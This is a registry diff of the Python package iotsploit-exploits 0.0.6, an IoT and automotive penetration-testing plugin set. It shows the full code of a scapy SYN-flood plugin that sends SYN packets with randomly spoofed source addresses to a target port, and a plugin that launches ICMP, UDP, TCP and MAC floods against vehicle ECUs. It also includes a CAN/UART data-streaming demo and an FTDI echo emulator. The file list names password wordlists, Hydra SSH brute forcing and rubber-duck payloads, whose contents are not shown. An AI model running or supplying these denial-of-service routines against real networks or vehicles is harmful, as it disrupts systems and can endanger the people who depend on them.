iotsploit-exploits 0.0.6__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (30) hide show
  1. iotsploit_exploits/__init__.py +1 -0
  2. iotsploit_exploits/adb_check/__init__.py +0 -0
  3. iotsploit_exploits/adb_check/adb_check.py +493 -0
  4. iotsploit_exploits/demo/__init__.py +0 -0
  5. iotsploit_exploits/demo/async_sleep_attack.py +106 -0
  6. iotsploit_exploits/demo/stream_data_attack.py +184 -0
  7. iotsploit_exploits/flood_attack/__init__.py +0 -0
  8. iotsploit_exploits/flood_attack/flood_attack.py +129 -0
  9. iotsploit_exploits/flood_attack/syn_flood_attack.py +233 -0
  10. iotsploit_exploits/greatfet_echo.py +103 -0
  11. iotsploit_exploits/greatfet_rubber_duck.py +417 -0
  12. iotsploit_exploits/hydra_cracker/weak_pass.txt +471 -0
  13. iotsploit_exploits/hydra_cracker/weak_pass_simple.txt +5 -0
  14. iotsploit_exploits/hydra_ssh_attack.py +159 -0
  15. iotsploit_exploits/ip_scan/__init__.py +0 -0
  16. iotsploit_exploits/ip_scan/ip_scan.py +196 -0
  17. iotsploit_exploits/nmap_scan/__init__.py +0 -0
  18. iotsploit_exploits/nmap_scan/nmap_scan.py +207 -0
  19. iotsploit_exploits/plugin_ssh.py +146 -0
  20. iotsploit_exploits/rubber_duck_scripts/linux_infogather.txt +126 -0
  21. iotsploit_exploits/rubber_duck_scripts/windows_payload.txt +93 -0
  22. iotsploit_exploits/serial/__init__.py +0 -0
  23. iotsploit_exploits/serial/picocom_serial_reader.py +704 -0
  24. iotsploit_exploits/simple_rubber_duck.py +183 -0
  25. iotsploit_exploits/wifi_scan/__init__.py +0 -0
  26. iotsploit_exploits/wifi_scan/wifi_scan.py +242 -0
  27. iotsploit_exploits-0.0.6.dist-info/METADATA +65 -0
  28. iotsploit_exploits-0.0.6.dist-info/RECORD +30 -0
  29. iotsploit_exploits-0.0.6.dist-info/WHEEL +4 -0
  30. iotsploit_exploits-0.0.6.dist-info/entry_points.txt +16 -0
@@ -0,0 +1,184 @@
1
+ #!/usr/bin/python3
2
+
3
+ import logging
4
+ import pluggy
5
+ from typing import Optional, Any
6
+ import asyncio
7
+ import random
8
+ import time
9
+ from iotsploit_core.core.exploit_spec import AsyncExploitResult
10
+ from iotsploit_core.core.base_plugin import BasePlugin
11
+ from iotsploit_core.core.stream_manager import StreamManager, StreamData, StreamType
12
+
13
+ logger = logging.getLogger(__name__)
14
+ hookimpl = pluggy.HookimplMarker("exploit_mgr")
15
+
16
+ class StreamDataAttackPlugin(BasePlugin):
17
+ def __init__(self):
18
+ super().__init__({
19
+ 'Name': 'Stream Data Attack',
20
+ 'Description': 'A demo plugin that simulates continuous data streaming from multiple interfaces.',
21
+ 'License': 'GPL',
22
+ 'Author': ['iotsploit'],
23
+ 'Parameters': {
24
+ 'duration': {
25
+ 'type': 'int',
26
+ 'required': False,
27
+ 'description': 'Duration in seconds (0 for infinite)',
28
+ 'default': 30,
29
+ 'validation': {
30
+ 'min': 0,
31
+ 'max': 3600
32
+ }
33
+ },
34
+ 'interfaces': {
35
+ 'type': 'list',
36
+ 'required': False,
37
+ 'description': 'List of interfaces to simulate',
38
+ 'default': ['uart', 'can'],
39
+ 'validation': {
40
+ 'choices': ['uart', 'can', 'spi', 'i2c']
41
+ }
42
+ }
43
+ }
44
+ })
45
+ self._stop_attack = False
46
+ self.stream_manager = StreamManager()
47
+ self.channel = "stream_attack_device"
48
+
49
+ @hookimpl
50
+ def initialize(self, device_plugin: Optional[Any] = None):
51
+ logger.debug("Initializing StreamDataAttackPlugin")
52
+ self._stop_attack = False
53
+
54
+ async def _generate_uart_data(self):
55
+ """Simulate UART data generation"""
56
+ while not self._stop_attack:
57
+ data = bytes([random.randint(0, 255) for _ in range(16)])
58
+ stream_data = StreamData(
59
+ stream_type=StreamType.UART,
60
+ channel=self.channel,
61
+ timestamp=time.time(),
62
+ data=data.hex(),
63
+ metadata={
64
+ "baudrate": 115200,
65
+ "port": "/dev/ttyUSB0",
66
+ "parity": "none",
67
+ "stopbits": 1
68
+ }
69
+ )
70
+ await self.stream_manager.broadcast_data(stream_data)
71
+ await asyncio.sleep(0.1) # Simulate 10Hz UART data
72
+
73
+ async def _generate_can_data(self):
74
+ """Simulate CAN bus data generation"""
75
+ while not self._stop_attack:
76
+ can_id = random.randint(0x100, 0x7FF)
77
+ data = bytes([random.randint(0, 255) for _ in range(8)])
78
+ stream_data = StreamData(
79
+ stream_type=StreamType.CAN,
80
+ channel=self.channel,
81
+ timestamp=time.time(),
82
+ data={
83
+ "can_id": hex(can_id),
84
+ "data": data.hex(),
85
+ "is_extended_id": False,
86
+ "is_remote_frame": False,
87
+ "is_error_frame": False
88
+ },
89
+ metadata={
90
+ "bitrate": 500000,
91
+ "channel": "can0"
92
+ }
93
+ )
94
+ await self.stream_manager.broadcast_data(stream_data)
95
+ await asyncio.sleep(0.05) # Simulate 20Hz CAN data
96
+
97
+ @hookimpl
98
+ async def execute_async(self, target: Optional[Any] = None, parameters: Optional[dict] = None) -> AsyncExploitResult:
99
+ """Asynchronous execution method"""
100
+ logger.info("Executing StreamDataAttackPlugin")
101
+ async_result = AsyncExploitResult()
102
+
103
+ try:
104
+ # Register the channel before starting data generation
105
+ await self.stream_manager.register_stream(self.channel)
106
+
107
+ # Get parameters
108
+ duration = parameters.get('duration', 30) if parameters else 30
109
+ interfaces = parameters.get('interfaces', ['uart', 'can']) if parameters else ['uart', 'can']
110
+
111
+ # Create tasks for each interface
112
+ tasks = []
113
+ if 'uart' in interfaces:
114
+ logger.info("Generating UART data")
115
+ tasks.append(self._generate_uart_data())
116
+ if 'can' in interfaces:
117
+ logger.info("Generating CAN data")
118
+ tasks.append(self._generate_can_data())
119
+
120
+ if not tasks:
121
+ raise ValueError("No valid interfaces specified")
122
+
123
+ # Start all tasks
124
+ async_result.update(
125
+ status=True,
126
+ progress=0,
127
+ message="Starting data streaming...",
128
+ data={"active_interfaces": interfaces}
129
+ )
130
+
131
+ # If duration is 0, run indefinitely
132
+ if duration > 0:
133
+ try:
134
+ # Run for specified duration
135
+ await asyncio.wait_for(
136
+ asyncio.gather(*tasks, return_exceptions=True),
137
+ timeout=duration
138
+ )
139
+ except asyncio.TimeoutError:
140
+ pass # Expected timeout after duration
141
+ else:
142
+ # Run until stopped
143
+ await asyncio.gather(*tasks, return_exceptions=True)
144
+
145
+ if self._stop_attack:
146
+ message = "Data streaming stopped by user"
147
+ else:
148
+ message = "Data streaming completed"
149
+
150
+ async_result.update(
151
+ status=True,
152
+ progress=100,
153
+ message=message,
154
+ data={"active_interfaces": interfaces}
155
+ )
156
+
157
+ return async_result
158
+
159
+ except Exception as e:
160
+ logger.error(f"Error during stream data attack: {str(e)}")
161
+ async_result.update(
162
+ status=False,
163
+ message=f"Attack failed: {str(e)}",
164
+ progress=100
165
+ )
166
+ return async_result
167
+ finally:
168
+ # Unregister the channel when done
169
+ await self.stream_manager.unregister_stream(self.channel)
170
+ self._stop_attack = True
171
+ await self.stream_manager.stop_broadcast(self.channel)
172
+
173
+ @hookimpl
174
+ def stop(self):
175
+ """Stop the running attack"""
176
+ logger.info("Stopping stream data attack")
177
+ self._stop_attack = True
178
+
179
+ @hookimpl
180
+ def cleanup(self):
181
+ """Cleanup after attack"""
182
+ logger.info("Cleaning up StreamDataAttackPlugin")
183
+ self._stop_attack = False
184
+
File without changes
@@ -0,0 +1,129 @@
1
+ import logging
2
+ import pluggy
3
+ from typing import Optional, Any
4
+ from iotsploit_django.tools.vehicle_utils import query_tcam_ip, query_dhu_ip, check_ecu_alive
5
+ from iotsploit_core.core.exploit_spec import ExploitResult
6
+ from iotsploit_django.tools.net_audit_mgr import NetAudit_Mgr
7
+ from iotsploit_core.utils import abort, sleep, IotsErrorCode
8
+ from iotsploit_core.core.base_plugin import BasePlugin
9
+
10
+ logger = logging.getLogger(__name__)
11
+ hookimpl = pluggy.HookimplMarker("exploit_mgr")
12
+
13
+ class FloodAttackPlugin(BasePlugin):
14
+ def __init__(self):
15
+ super().__init__({
16
+ 'Name': 'Flood Attack',
17
+ 'Description': 'Perform ICMP/UDP/TCP/MAC flood attacks against a target ECU with safety checks.',
18
+ 'License': 'GPL',
19
+ 'Author': ['iotsploit'],
20
+ 'Parameters': {
21
+ 'attack_type': {
22
+ 'type': 'str',
23
+ 'required': True,
24
+ 'description': 'Flood attack type',
25
+ 'default': 'icmp'
26
+ },
27
+ 'ecu': {
28
+ 'type': 'str',
29
+ 'required': True,
30
+ 'description': 'ECU name, e.g., tcam/dhu/vgm',
31
+ 'default': 'tcam'
32
+ }
33
+ }
34
+ })
35
+ self.net_audit_mgr = NetAudit_Mgr.Instance()
36
+
37
+ @hookimpl
38
+ def initialize(self, device_plugin: Optional[Any] = None):
39
+ logger.debug("Initializing FloodAttackPlugin")
40
+ # If you need to initialize anything with the device_plugin, do it here
41
+ pass
42
+
43
+ @hookimpl
44
+ def execute(self, target: Optional[Any] = None, parameters: Optional[dict] = None) -> ExploitResult:
45
+ # Accept both target and parameters for compatibility
46
+ if target is None:
47
+ target = {}
48
+ if not isinstance(target, dict):
49
+ return ExploitResult(False, "Invalid target. Expected a dictionary with 'attack_type' and 'ecu'.", {})
50
+
51
+ attack_type = target.get('attack_type', self.info['Parameters']['attack_type']['default'])
52
+ ecu = target.get('ecu', self.info['Parameters']['ecu']['default'])
53
+
54
+ logger.info(f"Executing {attack_type} flood attack on {ecu}")
55
+
56
+ try:
57
+ self._check_ecu_alive(ecu, "ip", attack_type)
58
+
59
+ ecu_ip = self._get_ecu_ip(ecu)
60
+ if not ecu_ip:
61
+ return ExploitResult(False, f"Failed to get IP for {ecu}", {})
62
+
63
+ self._start_flood_attack(attack_type, ecu, ecu_ip)
64
+
65
+ self._perform_checks(ecu, attack_type)
66
+
67
+ self._stop_flood_attack(attack_type)
68
+
69
+ self._check_ecu_alive(ecu, "ip", attack_type)
70
+
71
+ return ExploitResult(True, f"{ecu} {attack_type} flood attack successful", {"ecu": ecu, "attack_type": attack_type})
72
+ except Exception as e:
73
+ logger.error(f"Error during flood attack execution: {str(e)}")
74
+ return ExploitResult(False, f"Flood attack failed: {str(e)}", {})
75
+
76
+ @hookimpl
77
+ def cleanup(self):
78
+ logger.info("Cleaning up FloodAttackPlugin")
79
+ # Stop any ongoing attacks
80
+ self.net_audit_mgr.stop_icmp_flood_attack()
81
+ self.net_audit_mgr.stop_udp_flood_attack()
82
+ self.net_audit_mgr.stop_tcp_flood_attack()
83
+ self.net_audit_mgr.stop_mac_flood_attack()
84
+
85
+ def _check_ecu_alive(self, ecu, checktype, attack_type):
86
+ if not check_ecu_alive(ecu, checktype):
87
+ self._stop_flood_attack(attack_type)
88
+ abort(f"{ecu} is not alive", code=IotsErrorCode.HOST_UNREACHABLE, ecu=ecu, checktype=checktype)
89
+
90
+ def _get_ecu_ip(self, ecu):
91
+ if ecu == "tcam":
92
+ return query_tcam_ip()
93
+ elif ecu == "dhu":
94
+ return query_dhu_ip()
95
+ elif ecu == "vgm":
96
+ return "169.254.19.1"
97
+ return None
98
+
99
+ def _start_flood_attack(self, attack_type, ecu, ecu_ip):
100
+ if attack_type == "icmp":
101
+ self.net_audit_mgr.start_icmp_flood_attack(ecu_ip)
102
+ elif attack_type == "udp":
103
+ self.net_audit_mgr.start_udp_flood_attack(ecu_ip)
104
+ elif attack_type == "tcp":
105
+ self.net_audit_mgr.start_tcp_flood_attack(ecu_ip)
106
+ elif attack_type == "mac":
107
+ if ecu == "vgm":
108
+ self.net_audit_mgr.start_mac_flood_attack(ecu_ip, "eth0")
109
+ else:
110
+ self.net_audit_mgr.start_mac_flood_attack(ecu_ip)
111
+
112
+ def _perform_checks(self, ecu, attack_type):
113
+ for _ in range(6): # Check every 5 seconds for 30 seconds
114
+ sleep(5)
115
+ self._check_ecu_alive(ecu, "ip", attack_type)
116
+
117
+ def _stop_flood_attack(self, attack_type):
118
+ if attack_type == "icmp":
119
+ self.net_audit_mgr.stop_icmp_flood_attack()
120
+ elif attack_type == "udp":
121
+ self.net_audit_mgr.stop_udp_flood_attack()
122
+ elif attack_type == "tcp":
123
+ self.net_audit_mgr.stop_tcp_flood_attack()
124
+ elif attack_type == "mac":
125
+ self.net_audit_mgr.stop_mac_flood_attack()
126
+
127
+ def register_plugin(pm):
128
+ flood_attack_plugin = FloodAttackPlugin()
129
+ pm.register(flood_attack_plugin)
@@ -0,0 +1,233 @@
1
+ #!/usr/bin/python3
2
+
3
+ import logging
4
+ import pluggy
5
+ from typing import Optional, Any
6
+ from random import randint
7
+ from iotsploit_core.core.exploit_spec import ExploitResult
8
+ from iotsploit_django.adapters.django.target_models import TargetManager
9
+ from iotsploit_django.tools.input_mgr import Input_Mgr
10
+ from iotsploit_core.core.base_plugin import BasePlugin
11
+
12
+ logger = logging.getLogger(__name__)
13
+ hookimpl = pluggy.HookimplMarker("exploit_mgr")
14
+
15
+ class SynFloodAttackPlugin(BasePlugin):
16
+ def __init__(self):
17
+ super().__init__({
18
+ 'Name': 'SYN Flood Attack',
19
+ 'Description': 'Performs a SYN flood attack on a specified target.',
20
+ 'License': 'GPL',
21
+ 'Author': ['iotsploit'],
22
+ 'RequiresRoot': True,
23
+ 'Parameters': {
24
+ 'port': {
25
+ 'type': 'int',
26
+ 'required': True,
27
+ 'description': 'Target port number for the SYN flood attack',
28
+ 'default': 80,
29
+ 'validation': {
30
+ 'min': 1,
31
+ 'max': 65535
32
+ }
33
+ },
34
+ 'count': {
35
+ 'type': 'int',
36
+ 'required': True,
37
+ 'description': 'Number of SYN packets to send',
38
+ 'default': 1000,
39
+ 'validation': {
40
+ 'min': 1,
41
+ 'max': 10000
42
+ }
43
+ }
44
+ }
45
+ })
46
+
47
+ @hookimpl
48
+ def initialize(self, device_plugin: Optional[Any] = None):
49
+ logger.debug("Initializing SynFloodAttackPlugin")
50
+ pass
51
+
52
+ @hookimpl
53
+ def execute(self, target: Optional[Any] = None, parameters: Optional[dict] = None) -> ExploitResult:
54
+ logger.info("Executing SynFloodAttackPlugin")
55
+ logger.debug(f"Execute called with target type: {type(target)}, target: {target}")
56
+ logger.debug(f"Execute called with parameters: {parameters}")
57
+
58
+ try:
59
+ # Note: Root privileges are now handled by Django's sudo integration
60
+ # This plugin will be executed under sudo automatically when called from Django
61
+
62
+ # Execute the attack
63
+ result = self._execute_attack(target, parameters)
64
+ logger.debug(f"_execute_attack returned: {result}")
65
+ logger.debug(f"Result type: {type(result)}, success: {getattr(result, 'success', 'N/A')}")
66
+ return result
67
+
68
+ except PermissionError as e:
69
+ logger.error(f"Permission error during SYN flood attack: {str(e)}")
70
+ error_result = ExploitResult(False, f"Permission error: {str(e)}", {})
71
+ logger.debug(f"Returning permission error result: {error_result}")
72
+ return error_result
73
+ except Exception as e:
74
+ logger.error(f"Error during SYN flood attack: {str(e)}")
75
+ logger.exception("Full exception traceback:")
76
+ error_result = ExploitResult(False, f"SYN flood attack failed: {str(e)}", {})
77
+ logger.debug(f"Returning exception error result: {error_result}")
78
+ return error_result
79
+
80
+ def _execute_attack(self, target, parameters):
81
+ """Helper method to execute the actual attack"""
82
+ logger.info(f"Executing SynFloodAttackPlugin with target: {target} and parameters: {parameters}")
83
+ logger.debug(f"_execute_attack: target type={type(target)}, parameters type={type(parameters)}")
84
+
85
+ # Support both sudo and non-sudo execution:
86
+ # 1. If target parameter is provided (sudo mode), use it
87
+ # 2. If no target parameter (non-sudo mode), get from TargetManager
88
+ current_target = target
89
+ if current_target is None:
90
+ logger.info("No target parameter provided, getting from TargetManager")
91
+ target_manager = TargetManager.get_instance()
92
+ current_target = target_manager.get_current_target()
93
+ logger.debug(f"Got target from TargetManager: {current_target}")
94
+ else:
95
+ logger.info("Using target parameter from sudo runner")
96
+ logger.debug(f"Target parameter details: {current_target}")
97
+
98
+ logger.info(f"Using target: {current_target}")
99
+ if current_target is None:
100
+ error_result = ExploitResult(False, "No target selected. Please load a target first.", {})
101
+ logger.debug(f"No target available, returning: {error_result}")
102
+ return error_result
103
+
104
+ if parameters:
105
+ port = parameters.get('port', 80)
106
+ count = parameters.get('count', 1000)
107
+ else:
108
+ port = Input_Mgr.Instance().int_input(
109
+ "Enter the target port number for SYN flood attack:",
110
+ min_val=1,
111
+ max_val=65535
112
+ )
113
+ count = Input_Mgr.Instance().int_input(
114
+ "Enter the number of packets to send:",
115
+ min_val=1,
116
+ max_val=10000
117
+ )
118
+
119
+ # Extract IP address from target (handle both dict and object formats)
120
+ if isinstance(current_target, dict):
121
+ # Target from sudo runner (dictionary format)
122
+ target_ip = current_target.get('ip_address')
123
+ else:
124
+ # Target from TargetManager (object format)
125
+ target_ip = getattr(current_target, 'ip_address', None)
126
+
127
+ if not target_ip:
128
+ return ExploitResult(False, "Target IP address not found", {})
129
+
130
+ attack_target = {
131
+ 'ip': target_ip,
132
+ 'port': port,
133
+ 'count': count,
134
+ 'ipv6': False
135
+ }
136
+
137
+ logger.debug(f"About to execute flood with attack_target: {attack_target}")
138
+
139
+ total = self._syn_flood_v6(attack_target['ip'], attack_target['port'], attack_target['count']) if attack_target['ipv6'] else self._syn_flood(attack_target['ip'], attack_target['port'], attack_target['count'])
140
+
141
+ logger.debug(f"Flood attack completed, total packets sent: {total}")
142
+
143
+ success_result = ExploitResult(True, f"SYN flood attack successful. Sent {total} packets", {
144
+ "packets_sent": total,
145
+ "target_ip": attack_target['ip'],
146
+ "target_port": attack_target['port'],
147
+ "ipv6": attack_target['ipv6']
148
+ })
149
+
150
+ logger.debug(f"Created success result: {success_result}")
151
+ logger.debug(f"Success result attributes: success={success_result.success}, message='{success_result.message}', data={success_result.data}")
152
+
153
+ return success_result
154
+
155
+ @hookimpl
156
+ def cleanup(self):
157
+ logger.info("Cleaning up SynFloodAttackPlugin")
158
+ pass
159
+
160
+ def _random_ip(self):
161
+ return ".".join(map(str, (randint(0, 255) for _ in range(4))))
162
+
163
+ def _rand_int(self):
164
+ return randint(1000, 9000)
165
+
166
+ @staticmethod
167
+ def _load_scapy():
168
+ # Import scapy lazily so plugin discovery does not require raw-socket access.
169
+ from scapy.all import IP, TCP, IPv6, RandIP6, send
170
+
171
+ return IP, TCP, IPv6, RandIP6, send
172
+
173
+ def _syn_flood(self, dst_ip, dst_port, counter):
174
+ IP, TCP, _, _, send = self._load_scapy()
175
+ total = 0
176
+ logger.info("Sending IPv4 SYN packets...")
177
+
178
+ try:
179
+ for _ in range(counter):
180
+ s_port = self._rand_int()
181
+ s_eq = self._rand_int()
182
+ w_indow = self._rand_int()
183
+
184
+ ip_packet = IP(src=self._random_ip(), dst=dst_ip)
185
+ tcp_packet = TCP(
186
+ sport=s_port,
187
+ dport=int(dst_port),
188
+ flags="S",
189
+ seq=s_eq,
190
+ window=w_indow
191
+ )
192
+
193
+ send(ip_packet/tcp_packet, verbose=0)
194
+ total += 1
195
+
196
+ logger.info(f"Total packets sent: {total}")
197
+ return total
198
+ except Exception as e:
199
+ logger.error(f"Error in SYN flood attack: {str(e)}")
200
+ raise
201
+
202
+ def _syn_flood_v6(self, dst_ip, dst_port, counter):
203
+ _, TCP, IPv6, RandIP6, send = self._load_scapy()
204
+ total = 0
205
+ logger.info("Sending IPv6 SYN packets...")
206
+
207
+ try:
208
+ for _ in range(counter):
209
+ s_port = self._rand_int()
210
+ s_eq = self._rand_int()
211
+ w_indow = self._rand_int()
212
+
213
+ ip_packet = IPv6(src=RandIP6(), dst=dst_ip)
214
+ tcp_packet = TCP(
215
+ sport=s_port,
216
+ dport=int(dst_port),
217
+ flags="S",
218
+ seq=s_eq,
219
+ window=w_indow
220
+ )
221
+
222
+ send(ip_packet/tcp_packet, verbose=0)
223
+ total += 1
224
+
225
+ logger.info(f"Total packets sent: {total}")
226
+ return total
227
+ except Exception as e:
228
+ logger.error(f"Error in IPv6 SYN flood attack: {str(e)}")
229
+ raise
230
+
231
+ def register_plugin(pm):
232
+ syn_flood_attack_plugin = SynFloodAttackPlugin()
233
+ pm.register(syn_flood_attack_plugin)
@@ -0,0 +1,103 @@
1
+ #!/usr/bin/python3
2
+
3
+ import threading
4
+ import pluggy
5
+ from typing import Optional, Any
6
+ from iotsploit_core.core.exploit_spec import AsyncExploitResult
7
+ from iotsploit_core.core.base_plugin import BasePlugin
8
+ from facedancer.devices.ftdi import FTDIDevice
9
+ from iotsploit_core.utils import iots_logger
10
+ import asyncio
11
+
12
+ hookimpl = pluggy.HookimplMarker("exploit_mgr")
13
+
14
+ class FTDIEchoPlugin(BasePlugin):
15
+ def __init__(self):
16
+ super().__init__({
17
+ 'Name': 'FTDI Echo',
18
+ 'Description': 'Creates a virtual FTDI device that echoes back received data in uppercase.',
19
+ 'License': 'GPL',
20
+ 'Author': ['iotsploit'],
21
+ 'RequiresRoot': False,
22
+ 'Parameters': {
23
+ 'message': {
24
+ 'type': 'str',
25
+ 'required': False,
26
+ 'description': 'Custom welcome message to display',
27
+ 'default': 'Hello! Welcome to the FTDI demo.\nEnter any text you\'d like, and we\'ll send it back in UPPERCASE.\n'
28
+ }
29
+ }
30
+ })
31
+ self.device = None
32
+ self.running = False
33
+ self.logger = iots_logger.get_logger("ftdi_echo")
34
+
35
+ @hookimpl
36
+ def initialize(self, device_plugin: Optional[Any] = None):
37
+ self.logger.info("Initializing FTDIEchoPlugin")
38
+
39
+ async def _handle_data_async(self, data):
40
+ """Async version of data handler."""
41
+ try:
42
+ # Convert the data to uppercase...
43
+ uppercase = data.decode('utf-8').upper()
44
+ # Convert line endings...
45
+ uppercase = uppercase.replace('\r', '\n')
46
+ # Transmit the modified data.
47
+ await self.device.transmit_async(uppercase)
48
+ except Exception as e:
49
+ self.logger.error(f"Error handling data: {str(e)}")
50
+
51
+ @hookimpl
52
+ async def execute_async(self, target: Optional[Any] = None, parameters: Optional[dict] = None) -> AsyncExploitResult:
53
+ self.logger.info("Executing FTDIEchoPlugin asynchronously")
54
+ self.device = FTDIDevice()
55
+ try:
56
+ if not self.device:
57
+ return AsyncExploitResult(False, "FTDI device not initialized", {})
58
+
59
+ # Get welcome message
60
+ welcome_msg = (parameters.get('message')
61
+ if parameters
62
+ else self.info['Parameters']['message']['default'])
63
+
64
+ # Define the coroutine that waits for host and sends welcome message.
65
+ async def send_hello():
66
+ self.logger.info("Waiting for the host to connect.")
67
+ await self.device.wait_for_host()
68
+ self.logger.info("Host connected!")
69
+ self.logger.info("Telling the user hello...")
70
+ self.device.transmit("Hello! Welcome to the FTDI demo.\n")
71
+ self.device.transmit("Enter any text you'd like, and we'll send it back in UPPERCASE.\n")
72
+
73
+ # Set the device data handler.
74
+ self.device.handle_serial_data_received = self._handle_data_async
75
+ self.running = True
76
+
77
+ # Start the Facedancer emulation in a new thread to avoid the event loop conflict.
78
+ def emulate_thread():
79
+ self.device.emulate(send_hello())
80
+
81
+ t = threading.Thread(target=emulate_thread, name="FTDIEmulationThread")
82
+ t.start()
83
+
84
+ return AsyncExploitResult(True, "FTDI echo device running successfully", {
85
+ "status": "running",
86
+ "message": "Device is waiting for data to echo"
87
+ })
88
+
89
+ except Exception as e:
90
+ self.logger.error(f"Error during FTDI echo execution: {str(e)}")
91
+ return AsyncExploitResult(False, f"FTDI echo failed: {str(e)}", {})
92
+
93
+ @hookimpl
94
+ def cleanup(self):
95
+ self.logger.info("Cleaning up FTDIEchoPlugin")
96
+ try:
97
+ if self.device:
98
+ self.running = False
99
+ self.device.disconnect() # Disconnect the emulated device.
100
+ self.logger.info("FTDI Device disconnected")
101
+ self.device = None
102
+ except Exception as e:
103
+ self.logger.error(f"Error during cleanup: {str(e)}")